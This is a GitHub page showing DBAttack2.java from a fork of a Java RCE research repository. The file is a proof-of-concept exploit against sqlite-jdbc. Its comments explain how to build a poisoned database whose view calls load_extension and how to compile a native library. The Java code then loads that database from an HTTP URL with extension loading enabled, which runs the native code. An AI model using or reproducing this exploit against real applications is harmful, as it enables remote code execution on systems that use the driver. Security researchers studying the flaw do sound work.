forked from Whoopsunix/JavaRce
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDBAttack2.java
More file actions
29 lines (25 loc) · 831 Bytes
/
DBAttack2.java
File metadata and controls
29 lines (25 loc) · 831 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package sqlite;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
/**
* 1. 创建数据库
* sqlite3 poc.db
* CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/poc.so'));
* .quit
* 2. M1 编译 poc.c
* arch -x86_64 gcc -shared -o poc.db.dylib poc.c
*
* @author Whoopsunix
*/
public class DBAttack2 {
public static void main(String[] args) throws Exception {
Class.forName("org.sqlite.JDBC");
Connection connection = DriverManager.getConnection("jdbc:sqlite::resource:http://127.0.0.1:1234/poc.db?enable_load_extension=true");
connection.setAutoCommit(true);
Statement statement = connection.createStatement();
statement.execute("SELECT load_extension('poc.db')");
statement.close();
connection.close();
}
}